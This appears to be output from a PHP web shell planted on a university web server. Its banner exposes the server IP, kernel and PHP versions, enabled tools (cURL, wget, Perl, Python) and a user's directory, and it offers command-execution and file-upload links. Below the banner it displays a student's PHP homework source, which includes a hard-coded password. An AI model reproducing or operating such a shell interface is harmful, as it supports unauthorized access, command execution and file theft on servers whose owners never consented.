Server IP : 172.16.15.8 / Your IP : 3.138.175.166 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vgmiller/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Author: Valerie Miller Instructor: Dr. Wang File Name: sessionQuadEquationForm.php Due: Feb. 22 Goal: --> <?php session_start(); // p.45 $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw5a") print "<Center>Go away.</Center>"; else { ?> <CENTER> <H2> Quadratic Equation Form: ax<sup>2</sup>+bx+c=0 </H2> <HR> <FORM action=session2QuadEquationForm.php method=post> <var> a </var> value? <INPUT type=text name=aVar> <P> <var> b </var> value? <INPUT type=text name=bVar> <P> <var> c </var> value? <INPUT type=text name=cVar> <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> <?php } ?>